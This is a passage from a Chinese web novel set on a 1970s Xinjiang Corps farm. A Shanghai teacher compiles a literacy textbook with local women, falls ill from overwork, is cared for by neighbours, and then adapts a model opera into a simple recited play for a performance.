“编教材?好事啊!”许君君听完,眼睛一亮,利索地用纱布包扎好孩子的手臂,“需要我干什么?尽管说!” “卫生常识这块少不了你。”舒染拿出本子,“比如怎么处理小伤口,怎么预防拉肚子,小孩发烧怎么办。就用最白的话写,配上图最好。” “包在我身上!”许君君一口答应,“我那儿还有几本旧的《赤脚医生手册》,可以参考着画点简单的图。保证让大家一看就懂!” 接着,舒染在扫盲班下课后,留下了王大姐和李秀兰。 灯光下,三人围坐在一起。 “大姐,秀兰,连里让咱们整理学习材料,这事得靠大家。”舒染开门见山,“大姐,你最知道姐妹们哪儿卡壳,哪些字词最难学。你来当把关的,咱们编的东西,你得觉得好使、好懂才行。” 王大姐顿时觉得肩头沉甸甸的,用力点头:“放心!谁编的不好使,俺第一个不答应!” “秀兰,”舒染又看向李秀兰,“你心细,字也越写越好。你来帮着抄写、整理。再把咱们连里、地里、家里各种东西的叫法都记下来,越详细越好,越实在越好。” 李秀兰有点害羞,但眼神很坚定:“哎,我肯定仔细记。” 舒染自己,则承担起总体规划、内容筛选和最终审定的担子。她特意找了个旧的硬皮本,作为教材编写本,开始了点点滴滴的积累。 课间休息时,舒染不再只是坐着喝水,她会拿出本子,记下孩子们游戏时喊的口令、唱的童谣,哪些词他们用得最溜。 “石头,你们玩打仗游戏,都怎么分派?谁当司令?谁当侦察兵?”她问得仔细,石头和栓柱争抢着回答。 美术课上,她让孩子们画“我的家”、“我家的工具”、“好吃的食物”。阿迪力画了毡房和奔跑的马,舒染就在旁边工整地写上“蒙古包”、“骏马”;别的孩子画了玉米、镰刀、纺车,她也一一标注。 扫盲班的夜晚,更是变成了教研会。教到“工分”这个词,王大姐会插话:“光认不行,得教她们咋算!俺看好多人都掰扯不清十分和一百分的区别!”舒染立刻记下。 李秀兰则小声提出:“舒老师,‘买’和‘卖’这两个字,老有人弄反,能不能想个法子好记点?”舒染琢磨着:“编个顺口溜?或者用图示?” 许君君抽空来了几次,带来了她用铅笔画的简易示意图:“洗手法”、“伤口消毒步骤”、“预防蚊虫叮咬”。虽然画功幼稚,但意思明白,王大姐一看就懂:“这个好!这个实用!” 甚至阿迪力也提供了帮助。舒染问他牧区帐篷里各种物品的叫法,他努力地用汉语混合着解释,舒染认真记下,并小心地标注上读音和含义。 陈远疆那里,舒染又去了一次,这次是请教一些更书面的、政策性的词汇,如何用最通俗的语言解释清楚。陈远疆依旧言简意赅,但给出的解释却精准而透彻。 编写的过程并非一帆风顺。 有时为了一个词的解释,几个人会争论半天。王大姐坚持要用最土的白话,舒染则担心不够规范;李秀兰觉得某个例句拗口,王大姐却觉得这样记才牢靠。 纸张依然是稀缺资源。石会计批的旧报表背面很快用完了,舒染就打起其他主意:糊窗户剩下的报纸边角、包装用的牛皮纸、甚至平整的树皮,都成了书写的材料。 最大的困难还是时间。舒染常常是在批改完最后一本作业后,才能就着昏暗的煤油灯,摊开她的编写本,仔细梳理白天的记录,斟酌词句,设计练习。 地窝子里,只有笔尖划过纸张的沙沙声。 但她乐此不疲。看着那个硬皮本一点点变厚,看着那些零散的知识逐渐形成脉络,心里腾升起一股成就感。 * 入了冬,白天的日头也不再毒辣。 新教室里的炉子生了起来,用的是孩子们捡来的柴火和牛粪,烧得不算旺,但至少驱散了些寒意。 舒染白天给孩子们上课,鼻尖常常冻得发红,捏着粉笔的手指也有些僵硬。孩子们倒是依旧活泼,呵着白气在课间跑来跑去。 可舒染肩上的担子却一天比一天重。白天是雷打不动的教学任务,孩子们的学习不能耽误。 晚上,妇女扫盲班照常进行,来的人越来越多,王大姐劲头足,她更不能撤火。再加上那份教材的编写,压在了她本已满满当当的时间里。 她开始见缝插针地利用一切碎片时间。 课间十分钟,她一边看着孩子们玩闹,一边拿着小本子,飞快地记录下他们嘴里蹦出的鲜活词句,或者琢磨某个生字该怎么解释更形象。 中午吃饭,她往往是最后一个去食堂,一边吃着饭,眼睛还盯着摊在桌子上的编写本,用铅笔勾勾画画。许君君有时看不过去,帮她打碗热汤,她匆匆喝下,又埋下头。 下午放学后,本该是备课批作业的时间,现在却常常被王大姐和李秀兰“霸占”。 “染妹子,你快看看,俺想的这个顺口溜行不行?”王大姐的大嗓门总能穿透教室的门板。 舒染放下正在批改的作业,接过王大姐递来的破纸片,仔细看看,点点头:“意思挺好,大姐。就是这句有点拗口……” 王大姐琢磨了一下,一拍大腿,“对!这个好!还是你有文化!俺这就让秀兰记下来!” 李秀兰则安静得多,她会把收集来的词汇工工整整地抄在另的本子上,遇到不确定的,就小声问舒染:“舒老师,咱们连机耕队那个康拜因收割机,是写这三个字吗?还是直接写联合收割机?好多人都叫康拜因。” 舒染想了想:“都写上吧。先写‘联合收割机’,后面括号注明‘也叫康拜因’。这样既规范,又接了地气。” 许君君偶尔也会跑来,献宝似的拿出她的新画作:“染染你看,我画的预防感冒——这个是开窗通风,这个是多喝热水,这个是冷了加衣服!像不像?” 舒染看着那抽象派的简笔画,忍不住笑:“像!特别像!就是这喝热水的小人,鼻子眼睛都快挤一块了。” “能看懂就行!”许君君毫不在意,又把几张画着草药的图塞给她,“这几样是咱们戈壁滩上能找着的,治咳嗽有点用,我都标上了!你看看能不能用上?” 就连阿迪力,也成了小小的顾问。舒染会拿着写好的牧区词汇找他确认。 阿迪力会很认真地看,用力点头,或者努力地用生硬的汉语纠正:“老师,这个……少一点。” 地窝子里,那盏煤油灯亮到深夜的时候越来越频繁。 王大姐和李秀兰都看出她的疲惫。王大姐会念叨:“染妹子,歇歇吧,又不是明天就要交差,慢慢弄呗。”李秀兰则会把热水瓶灌满,放在她脚边。 舒染总是笑笑:“没事,大姐,秀兰,你们先睡。我把这点弄完就睡。” 可她桌上的“这点”好像永远也没个完。 她的眼下有了青黑,脸色也不太好,吃饭常常没胃口,人眼看着清减了下去。 陈远疆巡逻路过教室的次数,似乎莫名多了起来。有时是清晨,有时是深夜。 他从来没进去过,也没说过什么。 这天下午,连部又来了一辆吉普车。这次下来的,是团部宣传科的杨振华干事。他背着一个鼓鼓囊囊的挎包,直接找到了正在连部跟石会计核对物资清单的刘书记。 “刘书记,又来打扰了。”杨振华笑容依旧谦和,但语气里带着明确的工作目的,“上次调研回去后,科里对咱们畜牧连结合实际开展扫盲工作的经验很重视。派我再来蹲点几天,深入了解一下具体情况,特别是你们正在摸索的教材编写工作,看看有没有什么困难,能不能总结出一些可以在全团推广的经验。” 刘书记一听,又是高兴又有了点压力。高兴的是工作确实得到了上级认可,压力的是杨干事这明显是要看实打实的东西了。 “欢迎欢迎!杨干事您能来指导,我们求之不得!”刘书记连忙说,“教材编写这事,主要是舒老师在弄,就是启明小学的那个上海知青老师。她可是下了大力气,就是……唉,学校的事、扫盲班的事都压在她身上,时间实在紧张,进度可能慢点。” 杨振华表示理解:“我知道舒老师任务重。所以这次来,也是想看看能不能在调研的同时,提供一些力所能及的帮助。她在教室吗?我想先去跟她聊聊。” “在!肯定在!这个点她刚下课。”刘书记亲自领着杨振华往教室走去。 教室里,孩子们刚放学,吵吵嚷嚷地往外跑。舒染正坐在讲台上的椅子上休息着。 “舒老师!”刘书记的声音在门口响起,“你看谁来了!” 舒染睁开眼,看到刘书记身后的杨振华,有些意外,连忙站直身体,“杨干事?您怎么来了?” 杨振华注意到了她略显疲惫的神色,但他没有点破,笑着走进来:“舒老师,又来打扰你了。团里对咱们连的扫盲工作很感兴趣,派我再来学习学习,特别是教材编写方面,看看进展如何,有没有什么需要团里支持的。” 舒染听到“教材”两个字,下意识地看向讲台上那本厚厚的、用各种纸张钉在一起的编写本,心里一阵发虚。那里面充满了涂改、标注和临时贴上去的纸条,离“成型的经验”还差得远。 “杨干事,您太客气了。我们就是自己瞎琢磨,土办法,不成系统。”舒染谦虚道,走过去拿起那本编写本,“才刚刚搭了个架子,乱七八糟的,怕您看了笑话。” 杨振华接过本子,入手是沉甸甸的分量。他翻开,映入眼帘的是各式各样的纸张和密密麻麻的,不同笔迹的字迹图画。 有舒染娟秀整齐的钢笔字,有王大姐歪扭但努力的大字,有李秀兰工整的誊抄,有许君君稚拙的简笔画,甚至还有孩子们画的配图和一些显然是牧民提供的词汇注释。 他一页页仔细地看着,看那些分类:“称呼与姓名”、“数字与账目”、“农具与作物”、“卫生与健康”、“牧区用语”、“政策语录”……看那些用最直白语言写的解释,看那些充满生活气息的例句和顺口溜。 他看了很久,教室里很安静,只有纸张翻动的声音。 最后,他抬起头,镜片后的眼睛里闪烁着由衷的赞赏:“舒老师,这绝不是瞎琢磨。这非常了不起!” 他的语气很肯定:“你们做的,正是我们现在最需要的东西——真正从群众中来、到群众中去的教材!这比那些闭门造车编出来的东西,价值大得多!” 舒染没想到能得到这么高的评价,一时有些愣怔:“杨干事,您过奖了……就是,就是大家觉得需要什么,就学什么,记下来而已。” “这才是最宝贵的!”杨振华合上本子,神情严肃起来,“舒老师,我知道你任务重,时间紧。这次我来,除了调研,也是想看看能不能实际帮上点忙。你看这样行不行,你需要整理、誊写、或者是需要查找什么资料,我可以帮忙。团部宣传科的资料室,虽然书不多,但也许能找到一些对你有用的东西。” 这无疑是雪中送炭。舒染心里一暖,刚要说话,一阵天旋地转的感觉袭来,她下意识地扶住了讲台边缘。 “舒老师?”杨振华立刻注意到了她的不适,上前一步,语气带着关切,“你没事吧?脸色很不好看。” 刘书记也吓了一跳:“舒老师,你是不是累病了?我就说嘛!不能这么硬扛!快坐下歇歇!” “没事,可能就是有点累,歇会儿就好。”舒染揉了揉太阳穴。 这时,教室门口传来一个声音:“刘书记,马连长让你去渠上一趟,那边有点事。” 舒染抬头,看见陈远疆不知何时站在门口,眼神看不出情绪。 “哎哟,好好,我这就去!”刘书记连忙应声,又对舒染说,“舒老师,你赶紧回去休息!今天扫盲班停一晚!这是命令!”说完又对杨振华歉意地点点头,匆匆走了。 杨振华对陈远疆礼貌地点点头:“陈干事。” 陈远疆也点了下头,然后看向舒染,语气平淡却不容置疑:“舒老师,身体不舒服就回去休息。教材的事,不急在这一天。” 他的目光掠过杨振华。 舒染确实感到一阵阵乏力,便不再坚持:“好,那我先回去歇会儿。杨干事,抱歉……” “身体要紧。”杨振华理解地点头,“材料我先看看,有什么想法明天再跟你交流。你需要什么帮助,随时告诉我。” 舒染点点头,收拾了一下东西朝外走去。 陈远疆看向杨振华,“杨干事,住宿安排好了吗?” “刘书记已经安排了,谢谢陈干事关心。”《 》 60-70 第61章 舒染是半夜被自己咳醒的。 嗓子眼儿里像塞了一把戈壁滩上的沙棘刺, 又干又疼,每一次呼吸都像拉风箱似的。 她挣扎着想坐起来喝口水,却发现浑身骨头像是被抽走了, 软得连胳膊都抬不动。额头滚烫,眼皮沉得撑不开。 地窝子里黑黢黢的, 只有通气孔透进一点惨淡的月光。她试着发声,想叫醒旁边铺位的王大姐,出口的却是一串气音。 完了。舒染心想。这回怕是真倒下了。 连续几个月的高强度运转——白天教学生、晚上教妇女、半夜还得点灯熬油地编那本教材, 铁打的身子也扛不住。 再加上前几天为了赶工,冒着雨从团部搬一批旧报纸回来,湿透的衣裳捂到半干才换下……当时没觉得什么,现在报应来了。 她昏昏沉沉地躺着, 意识时断时续。 好像有人摸了她额头, 惊叫了一声, 然后是杂乱的脚步声, 王大姐粗粝的手掌, 许君君带着凉意的听诊器贴上来, 还有李秀兰带着哭腔的“舒老师……” 再然后,就是苦得让人舌根发麻的药汁被灌进来, 额头上换了又换的湿毛巾,还有断断续续的对话碎片飘进耳朵。 “烧到四十度了!肺炎!得赶紧用消炎药!” “连队卫生室盘尼西林早没了……” “我去师部医院想办法!” “胡闹!深更半夜你怎么去?几十里路呢!” “那也不能干等着!舒老师要是……” 后面的话, 舒染没听清,又陷入了昏睡。 等她再次有点清醒的时候, 感觉天光已经大亮。眼皮沉重地掀开一条缝, 模糊看见一个人影坐在她铺位边的小马扎上,正低着头削着一只青皮梨子。是李秀兰。 “水……”舒染挤出一点声音。 李秀兰猛地抬头,眼圈红红的:“舒老师!你醒了?!”她赶紧放下梨子和小刀, 手忙脚乱地倒了一搪瓷缸温水,小心托起舒染的头,一点点喂给她。 温水润过喉咙,稍微缓解了那火烧火燎的疼。舒染喘了口气,声音依旧嘶哑:“我睡了多久?” “一天一夜了!”李秀兰用袖子抹了下眼睛,“许医生给你打了针,说烧退下去一点了,但还得接着用药,千万不能累着。你可吓死我们了!” 正说着,地窝子的帘子被掀开,王大姐端着一个冒着热气的碗进来,看见舒染睁着眼,顿时眉开眼笑:“阿弥陀佛!可算是醒了!感觉咋样?能坐起来点不?把这碗鸡蛋穗子汤喝了,许医生交代了,你得补充营养。” 她俩扶着舒染勉强靠坐起来。那碗汤里飘着细细的鸡蛋花,几片翠绿的野菜叶,还罕见地滴了几滴香油。在这年头,这算是病号才能享受的最高待遇。 舒染没什么胃口,但知道必须吃。她小口小口喝着汤,听王大姐絮叨。 “马连长早上来看过了,撂下两听罐头,一个是午餐肉,一个是酸黄瓜,说是让你开开胃。” 王大姐朝墙角努努嘴,“赵主任也来了,没进来,在门口站了站,问了几句,说让你安心养病,课……课先停几天。”她说得有点迟疑,显然赵卫东原话没那么好听。 舒染点点头,没力气多问。她能想象赵卫东会说什么,“娇气”、“耽误生产”之类的。 下午的时候,许君君风尘仆仆地回来了,军装外套上都是土,脸上带着倦色,但眼睛亮晶晶的。 她从药箱里宝贝似的拿出几支盘尼西林和一小瓶维生素片。 “算你命大!”许君君一边给舒染做皮试,一边说,“正好师部医院的车下去巡诊,半道上碰见了。我跟带队的医生磨了半天,又拿你编教材的事说项,才特批了这几支药。” 她顿了顿,压低声音,“杨干事不知道从哪儿听说你病了,托司机捎话来,让你务必保重,教材的事不急,他那边会帮你盯着。” 舒染心里一暖。 皮试没问题,许君君给她打了针。药劲上来,舒染又昏昏沉沉想睡。迷糊间,感觉地窝子里似乎又来了人。 “……烧退了就好。这病最耗人,得养透了。”是刘书记的声音,“告诉她,连里研究过了,给她批十天病假。妇女扫盲班那边,让王桂兰先顶上看,照着舒染留下的那些字片教,反正就是认名儿、认票证,不难。娃娃们的课……唉,先停停吧。” 另一个低沉的声音“嗯”了一下,没再多话。 舒染努力想睁开眼,但那声音很快随着脚步声远去了。她心里模糊地想,刚才那个嗯了一声的人,好像是陈远疆?他来了?怎么没进来? * 病来如山倒,病去如抽丝。这话舒染算是体会得淋漓尽致。 高烧退去后的虚弱,远超她的想象。头几天,她大部分时间都在昏睡,清醒的间隔很短,只够勉强喝点汤药、吃几口流食。 地窝子里光线昏暗,时间感也变得模糊,只能通过通气孔透入的光线强弱和王大姐、李秀兰轮换着来照顾她的间隙,大致判断晨昏。 地窝子里始终弥漫着一股淡淡的草药味,混杂着土腥气和偶尔飘来的食物香气。 许君君开的药片吃了两天,换成了她不知从哪儿弄来的中药汤剂,用旧报纸包着,每次熬煮时,那苦涩里带着一丝奇怪的味道就弥漫开来。 “是甘草和麻黄,”许君君一边用筷子搅动着小铝锅里的药汁,一边对皱着眉头的舒染解释,“戈壁滩上挖的,还有一点不能说的果实壳,对付你这咳嗽痰喘比较对症。就是味儿冲了点,良药苦口,捏着鼻子灌下去。” 舒染认命地接过碗,屏住呼吸一口气灌下,那难以形容的苦涩从舌头一路蔓延到胃里,激得她一阵干呕。 李秀兰赶紧递过一小碗温开水,又摸出一颗藏了很久,有些融化黏糊的水果糖塞进她嘴里,勉强压下了翻涌的苦味。 “许医生,这药真能管用?”王大姐看着舒染惨白的脸,忍不住问。 “牧区的老新疆们都这么用,土方子,比城里药厂的见效慢,但劲儿缓,不伤身子。”许君君收拾着药罐,“她这病是累出来的,底子亏了,得慢慢补,急不得。” 吃饭成了个大问题。舒染嘴里发苦,什么都吃不下。王大姐绞尽脑汁,把连队食堂那点有限的物资利用到了极致。 今天是一碗飘着零星油花的白菜疙瘩汤,明天是搅得极其细腻的玉米糊糊,偶尔能蒸一碗嫩嫩的鸡蛋羹,那简直是无上的美味。 马连长送来的那罐午餐肉,王大姐每次只舍得切薄薄一两片,剁得碎碎的撒在汤里提味,能让她多吃两口。 “舒老师,你再吃点儿,”李秀兰端着碗,像哄孩子似的,“不吃东西哪有力气好起来?你看,虎子娘送来的娃娃掏的鸟蛋,我给你卧在汤里了。” 舒染勉强又咽下几口,摇摇头,实在是吃不下了。 清醒的时候,她也躺不住。墙上糊的旧报纸,她都快能背下来了。目光扫过墙角那口樟木箱,箱盖上放着她编写到一半的教材初稿和杨干事送来的笔记本。 她心里着急,挣扎着想坐起来看看,被刚进来的王大姐一眼瞪回去。 “我的祖宗哎!你可消停点吧!”王大姐一把将她按回褥子上,“许医生说了,你这病最忌劳神!那些字儿啊纸的,又跑不了!等你好了,有你熬的时候!” 王大姐嗓门大,心地却细。她不让舒染干活,却不拦着她听。于是,地窝子成了临时的信息交换站。 李秀兰每天从豆腐坊下工回来,都会坐在舒染铺位边的小马扎上,一边搓着麻绳或者缝补衣服,一边絮絮叨叨地说着外面的事。 “扫盲班今天又来了两个嫂子,是听说能学认工分票才来的……王大姐教得可认真了,就是老念错别字,把‘张桂花’念成‘张挂花’,惹得大家直笑……” “石头带着栓柱他们,天天下了学就在咱们这转悠,扒着门板眼往里看,盼着你早点好呢。” “牧区的巴彦和赛达尔昨天来了,没见着你,可失望了。阿迪力把他妹妹画的画塞门缝里了,我给你拿来了……” 李秀兰说着,从怀里掏出一张粗糙的草纸,上面用炭笔画着歪歪扭扭的小人,旁边是小小的房子和飘扬的旗帜。舒染看着,忍不住笑着,然后又咳嗽起来。 王大姐带来的消息则更官方些。 “有领导今天又催问娃娃们课啥时候能恢复,说荒废太久不像话。让刘书记给顶回去了,说‘病没好利索,催什么催!’” “机修组的老钱偷偷让我问你,教室火墙的烟道那么留行不行,他怕不通畅,让你好了赶紧去看看。” “团部后勤的老姜头捎话来,说又攒了点旧报纸,问你要不要,要就赶紧去拉,不然就让别人糊墙了。” 这些零零碎碎的信息,像拼图一样,在舒染虚弱的脑海里慢慢拼凑出连队生活的日常图景。 她知道连队里的一切还在运转。这种被需要的感觉,和此刻的无能为力加在一起让她心焦。 许君君是每天最准时的访客。她检查体温,听肺部啰音,注射针剂,动作干净利落。 “今天咳嗽好点了,痰音没那么重了。” “还有点低烧,夜里睡觉注意保暖,别再着凉。” “手伸出来,我看看指甲颜色……还行,贫血没那么严重了。” 有时她会带来一点小惊喜,比如一小瓶维生素片,或者几块压缩饼干。 “师部医疗队下来巡诊,我顺手要的。你营养不良,光吃那些糊糊不行。” 舒染注意到许君君军装肘部磨破了口子,鞋帮上也带着干涸的泥点。 “你最近在忙什么?好像比我还累。” 许君君手上动作不停,淡淡说:“那边几个牧业点跑了一圈,防疫宣传,打疫苗。哦对,我还学会了骑马,就这样。” 她顿了顿,看一眼舒染,“你赶紧好起来,比什么都强。我还指望你和你一起驰骋草原呢。” 地窝子里也并不总是安静。有时会有孩子扒着门帘缝偷偷往里看,被王大姐发现吼一嗓子才嘻嘻哈哈地跑开。 有时会有家属探头进来,放下一点自家腌的咸菜或者几个土豆,压低声音问一句“舒老师好点没?”,得到肯定答复后便心满意足地离开。 舒染就这样一天天熬着。身体依然无力,咳嗽也没好彻底,但清醒的时间越来越长,喝下的汤药和粥食似乎也能留下些力气了。 她开始能在李秀兰的搀扶下,慢慢坐起来,靠着墙壁待一会儿。地铺对面墙上贴着的旧报纸,她终于能看清上面的字了——是几个月前的《兵团生产战报》,泛黄的纸页上,墨色浓重的标题写着:“深耕广种粮与字,双线作战夺丰收”,下面还有稍小一号的字:“全兵团掀起扫盲识字、生产技术双普及新高潮”。 舒染眯着眼,逐字读着那标题和下面已经有些模糊的报道正文,里面提到了各师团开办夜校、田间地头学习小组的情况,虽然语焉不详,但字里行间透出的那股“既要拿枪拿镐,也要拿笔识字”的势头。 她看着,忽然对正在纳鞋底的李秀兰说:“秀兰,帮我把那个笔记本拿过来吧,我就翻翻,不费神。” 李秀兰犹豫了一下,看着舒染眼里的执拗,最终还是把杨干事送来的那个笔记本递了过去。 * 又过了一阵子,舒染咳嗽也没那么撕心裂肺了,但人还是虚得厉害,说几句话就冒虚汗。 来探视的人络绎不绝,像走马灯一样。 张桂芬带着李大壮来了,李大壮手里攥着两个煮熟的鸟蛋,非要塞给舒老师“补身子”。 张桂芬嗓门大,絮絮叨叨说着扫盲班的事:“王大姐教得也挺好!俺现在能认出俺自己的名儿了!就是写得歪歪扭扭……舒老师你赶紧好起来,俺还得跟你学写数字呢!” 栓柱娘偷偷送来一小布袋炒面,小声说:“自家炒的,放了点花生碎,香着呢,你夜里饿了用水搅和一碗吃。” 牧区那边,图尔迪让阿迪力跑来一趟,送来一小皮囊新鲜马奶和几条风干的肉条。 阿迪力站在地窝子门口有点局促,憋了半天说:“老师!吃这个长力气……妹妹她很想你!”说完把东西往李秀兰手里一塞,扭头就跑走了。 甚至连之前因为周巧珍挑拨而对舒染有过意见的几个女职工,也结伴来看了一眼,放下几把自家种的青菜,说了几句“好好养着”的场面话。 舒染病这一场,倒让某些暗地里的小矛盾显得没那么重要了。 王大姐和李秀兰成了地窝子的常驻护工。王大姐负责伙食,变着法儿地想给她弄点有营养的。李秀兰则心细,负责喂药、擦洗,陪着说话解闷,还把扫盲班和孩子们的情况说给舒染听。 许君君每天准时来打针送药,雷打不动。她话不多,但每次来都必定检查舒染的恢复情况,语气严厉地叮嘱她不准操心工作。 又过了一个礼拜,舒染精神好了些,正靠着被子卷听李秀兰念扫盲班学员写的歪歪扭扭的名字,地窝子帘子又被掀开了。 杨振华干事弯着腰走进来,带进一股外面的冷风。他手里提着个网兜,里面装着几瓶水果罐头和一包红糖。 “舒染同志,怎么样?好点没有?”杨振华脸上满是关切,“我回团部汇报工作,听说你病得厉害,赶紧过来看看。” “好多了,劳杨干事惦记。”舒染想坐直些,被杨振华摆手制止。 “躺着躺着!你这次可是累倒的,我都听说了。”杨振华在小马扎上坐下,语气带一丝责备,“编教材是重要,但也不能这么拼命啊!身体是革命的本钱!” 他从随身带的挎包里拿出一个厚厚的笔记本:“你之前托我找的识字课本和扫盲材料,我搜集了一些,还有我自己记的一些心得,都写在上面了。你好了可以看看,参考参考。这事不急,等你彻底康复了再说。” 他又仔细问了舒染的病情和治疗情况,听说用了盘尼西林,才点点头:“这就好。需要什么紧缺药品,你想办法给我捎个信,我想办法从团医院那边协调。” 杨振华坐了不到半小时就走了。舒染看着那笔记本和网兜里的东西,心里踏实了不少。外面是有人认可她做的事的。 送走杨振华,地窝子里短暂安静下来。 舒染有点倦,闭目养神。忽然听到门口有点轻微的响动,像是有人放下了什么东西。 李秀兰正在门口收拾晒干的衣服,惊讶地“咦”了一声。 舒染睁开眼:“怎么了?” 李秀兰端进来一个粗陶的小罐子,罐口用一块干净的蓝布盖着。旁边还有一个更小的布包。 李秀兰揭开蓝布,一股带着野花清甜的香气猛地窜出来,是蜂蜜。颜色是深沉的琥珀色,质地粘稠得几乎拉丝。她再打开那个小布包,里面是五六颗颜色深红的大枣。 “哇,是野蜂蜜!舒染姐,你说这是谁放的?”李秀兰好奇地问。 舒染几乎不用细想,脑海里就浮现出那个沉默冷硬的身影。 野蜂蜜在供销社的货架上几乎从没见过。偶尔有牧民侥幸从悬崖石缝里割到一点,那也是堪比黄金的硬通货,也多是拿去换盐换茶,或者换打狼的某弹,自己舍不得尝一口。或者是收着给体弱的孩子老人吃,要么就是拿去换更急需的物资,谁舍得这样一整罐地送人? 李秀兰显然也意识到了这份礼物的不寻常。她张了张嘴,脸上是一种“我懂了”的表情,压低声音,带着点不可思议的语气:“舒老师,这……这蜂蜜闻着可真醇!还有这枣……谁这么大手笔?” 她的目光下意识地往地窝子门口瞟了瞟,仿佛想从门外找出点痕迹来,然后又转回舒染脸上,眼神里充满了探究,语气带着兴奋:“难道是……陈特派员?我刚才就恍惚听到点脚步声,还没等我回头看清人就没了……肯定是他!也就他有这本事,能弄来这些,还能这么悄么声地送过来。” 舒染没承认也没否认,只是伸出手指沾了一点罐口边缘的蜜浆放进嘴里。 甜而不腻的滋味迅速压过了连日来汤药留下的苦涩,甚至那甜里还裹着一丝花草清香,醇厚得让人喉咙都跟着舒坦起来。 她轻轻咂摸了一下,然后对李秀兰说:“去找个干净勺子来,舀一点用温水化开。你也尝尝。” “这怎么行!”李秀兰连忙摆手,“这肯定是给舒老师你补身子用的!我尝像什么话!” “东西既然送来了,就是我的了。”舒染的语气不容拒绝,“让你去就去。好东西一个人吃也没滋味。再说,这么多我也吃不完,放久了反而糟蹋。” 李秀兰这才哎了一声,赶紧去找勺子和碗。她动作麻利地兑了半碗温水,用勺子小心地舀了小半勺蜂蜜在温水里慢慢搅化。 她把碗先递给舒染。舒染接过来,喝了一小口,温热的甜水滑过喉咙,连日咳嗽带来的灼痛感似乎都被抚平了些许。 她满足地叹了口气,把碗递回给李秀兰:“剩下的你喝。” 李秀兰这才接过碗,小口小口地喝着,眼睛都亮了起来:“真甜啊……从来没喝过这么甜的水!比水果糖还香!”她舔了舔嘴唇,回味着那滋味,然后又忍不住看向那罐蜂蜜,小声感叹:“陈特派员这人……看着冷冰冰的,话都没几句,没想到心这么细,这么……实在。” 舒染没接话,只是看着那罐蜂蜜和几颗枣子。实在。这个词用在他身上,好像还挺贴切。 舒染对李秀兰说:“把枣子收好,蜜罐子盖严实了,别招蚂蚁。以后每天早晚,咱们都化一点喝。”—— 作者有话说:加完班再熬夜码字脑子有点不清醒,如有bug轻点喷[求求你了] 悄咪咪地求个作收,当然不想收藏也没关系[爆哭] 第62章 舒染的病假又续了一个礼拜, 人才能勉强下地走走,连部的大喇叭就在一天下午突然响了起来,通知全体连队干部立刻到连部开会。 没过多久, 会开完了。马连长和刘书记一前一后从连部出来。 “老马,这事……咋弄?”刘书记掏出烟来, 却没点。 马占山磕了磕鞋底,烦躁地说:“还能咋弄?上级布置的任务,硬着头皮也得上。团里说了, 这是政治任务,要热烈响应,还要评比!可咱们连……唉,除了喊号子嗓门大, 哪有什么文艺骨干?” “原来倒是还有个周巧珍, 能唱两句扭两下, 现在人也调走了。”刘书记叹了口气, 忽然像是想起什么, “诶, 不是说舒老师是上海来的吗?大城市的人,见多识广, 说不定……” 马占山眼睛一亮,随即又黯淡下去:“可她病还没好利索呢, 这任务压给她……” “先问问,不行再想办法。”刘书记拍板。 于是, 当天晚饭后, 马连长和刘书记就一起来了舒染住的地窝子。 舒染正就着煤油灯看杨振华给她的笔记本,见两位领导一起来,心里有些诧异, 赶紧想起身。 “别起别起,舒老师,你坐着。”刘书记连忙摆手,和马连长挤在矮小的马扎上,“身子好些了吧?” “好多了,谢谢领导关心。” 寒暄了几句,马连长搓着手,切入正题:“舒老师啊,是这么个事。团里刚下了任务,要求各连排演革命样板戏的片段,春节前后汇演,丰富职工文化生活,也是重要的思想教育。” 刘书记接话:“咱们连的情况你也知道,抡坎土曼、开荒在行,搞文艺弄不起来。听说你是上海来的,大地方,见识广,你看这个事……” 舒染瞬间明白了。这是要把任务交给她啊。 她心里飞快地盘算起来。样板戏?《红灯记》、《智取威虎山》、《沙家浜》…… 她倒是听过看过,可那都是专业剧团演的,唱念做打,她一个语文老师,哪懂这个?让她教识字还行,教唱这个简直是开玩笑。 她脸上露出为难的神色:“连长,书记,样板戏是革命瑰宝,意义重大。可我……我对京剧实在不精通,唱腔身段都不懂,怕完成不好任务,给连里丢人。” 马连长一听就急了:“别啊舒老师!不求拿奖,只要咱们连能有个节目上台,别空着手就行!你好歹是知识分子,总比我们这些大老粗强吧?” 刘书记也劝:“是啊,舒老师,你想想办法。需要什么支持,连里尽量给你协调。” 舒染垂下眼思考着。硬着头皮上肯定不行,直接拒绝也不合适。 忽然,一个念头闪过脑海。 她抬起头,眼神里有了点神采:“连长,书记,既然是为了思想教育和丰富生活,不一定非要原原本本照搬京剧的唱腔吧?咱们连的条件有限,职工和家属们也没基础。” “那你的意思是?” “您看这样行不行?”舒染坐直了些,“咱们选一个经典片段,比如《红灯记》里‘都有一颗红亮的心’,或者《智取威虎山》‘打虎上山’,我把唱词改成朗朗上口的对白和简单的朗诵,再配上一点简单的动作。就像……就像学生们排演课本剧一样!” “课本剧?”马连长和刘书记对视一眼,有点茫然又有点新奇,他们可没听过这个词! “对!”舒染越说越觉得可行,“让扫盲班的妇女和年纪大点的孩子们来演。她们正好在学识字,背这些词句既能巩固识字,又能接受革命教育。道具也简单,红布包头就是李铁梅,木头削把枪就是杨子荣……咱们重在意境,重在参与,您看怎么样?” 马连长眨巴着眼,琢磨着“课本剧”这三个字。 听起来好像没那么高深莫测,又能跟扫盲扯上关系,好像……能行! 刘书记一拍大腿:“哎!这个法子好!一举两得!既完成了上级任务,又没耽误你的正事!舒老师,还是你们知识分子脑子活!” 马连长也松了口气,脸上终于有了笑模样:“成!就这么办!舒老师,这事就交给你了!需要谁,你直接去叫!哪个兔崽子敢不听话,我收拾他!” 任务就这么到了舒染肩上。 舒染领了任务,第二天感觉身体又好了些,便不敢再歇着。 她先把《红灯记》和《智取威虎山》的唱本反复看了几遍,最后决定排《红灯记》里“痛说革命家史”和“都有一颗红亮的心”两个衔接的片段。 因为人物相对简单,情感冲突强烈,台词也更有叙事性,适合改编。 主意一定,她立刻开始选角色。 课间休息时,她把石头、栓柱、春草、小丫等几个大点的孩子,还有扫盲班里胆子大些、学得快的几个妇女,如张桂芬、李秀兰、王大姐等都叫到了新教室。 大家围成一圈,听舒染说完了要排戏参加汇演的事,一时间都愣了,随即炸开了锅。 “啥?让我们演戏?”张桂芬第一个嚷嚷起来,脸涨得通红,“哎呦我的舒老师,你让我扛麻袋还行,演戏?这不是要笑掉人大牙吗?” “就是就是,我连话都说不利索……” “我害怕,我不敢上台……” 孩子们也叽叽喳喳,既兴奋又胆怯。 